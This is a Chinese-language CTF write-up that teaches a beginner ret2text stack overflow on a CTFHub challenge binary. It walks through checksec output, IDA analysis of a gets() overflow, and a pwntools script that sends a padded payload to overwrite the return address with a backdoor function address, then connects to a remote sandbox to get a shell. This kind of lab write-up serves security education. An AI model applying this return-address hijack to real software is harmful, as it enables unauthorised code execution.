PWN入门-ret2text-1

Fri Sep 13 2024

什么是ret2text?

ret2text就是控制返回地址指向本身已经有的代码并执行他们

就是说给的程序自身就带有后门函数,通过栈溢出的方式,修改返回地址到后门函数上并执行程序

解题

checksec

首先需要使用checksec命令分析二进制文件

SH
1
2
3
4
5
6
7
8
9
10
11
checksec --file=/pwn/pwn
[*] '/pwn/pwn'
    Arch:       amd64-64-little # Arch 指示文件结构 这里是amd64-64-little 表示为64位的Little Endian架构
    RELRO:      Partial RELRO # RELRO 指示 RELRO (Relocation Read-Only) 的设置程度。
    # Partial RELRO 表示部分重定位只读,即某些重定位表被标记为只读,但不是所有的
    Stack:      No canary found # Stack 提供了关于堆栈保护措施的信息 "No canary found" 表示在堆栈上没有找到堆栈保护
    NX:         NX unknown - GNU_STACK missing # 表示是否启用了不可执行堆栈 (NX),从输出来看,无法确定是否启用
    PIE:        No PIE (0x400000) # 指示是否启用了位置独立执行 (PIE)。"No PIE" 表示没有启用 PIE,即代码的位置在运行时不会发生变化
    Stack:      Executable # Stack 再次提到堆栈的属性。"Executable" 表示堆栈是可执行的,这通常不是最佳实践,因为堆栈应该是不可执行的以防止执行代码注入攻击
    RWX:        Has RWX segments # 指示是否存在可读、可写、可执行 (RWX) 的段。"Has RWX segments" 表示文件中存在一些段是可读写可执行的
    Stripped:   No # Stripped "No" 表示文件没有被剥离 (Stripped)

这里可以看到Stack是 “No canary found” 可以考虑使用栈溢出来解题

IDA

打开IDA进行反编译

Alt text

这里可以看到他使用了get(s)存在栈溢出

让数据超过了本来存放的地址,造成了栈溢出

Alt text

可以看到在IDA里已经说了,到rbp是0x70

但是rbp是栈底寄存器,它也占8个字符(在64位),所以说我们需要把rbp也覆盖掉,也就是0x70+8

Alt text

发现存在secure函数,可以获得shell权限。

Alt text

如果我们的main函数返回跳转到secure函数内部的4007B8的位置,也可以直接获得shell权限

编写Python脚本

首先执行一次二进制文件判断断点位置

Alt text

发现输出“Welcome to CTFHub ret2text.Input someting:”可以将此字符作为python脚本的断点

编写exp.py

PYTHON
1
2
3
4
5
6
7
8
9
from pwn import * # 导入库
#io=process("./pwn") # 本地连接
io=remote("nc challenge-c9c0f57a24de9719.sandbox.ctfhub.com",38417) # 远程连接
#gdb.attach(io,'b main')
io.recvuntil(b"Welcome to CTFHub ret2text.Input someting:\n") # 定义程序接收到什么地方为止
payload=b'a'*(0x70+8)+p64(0x4007B8) # 攻击本体
# io.send # 没有回车
io.sendline(payload) # 发送攻击体
io.interactive() #结束交互

获取flag

Alt text

Alt text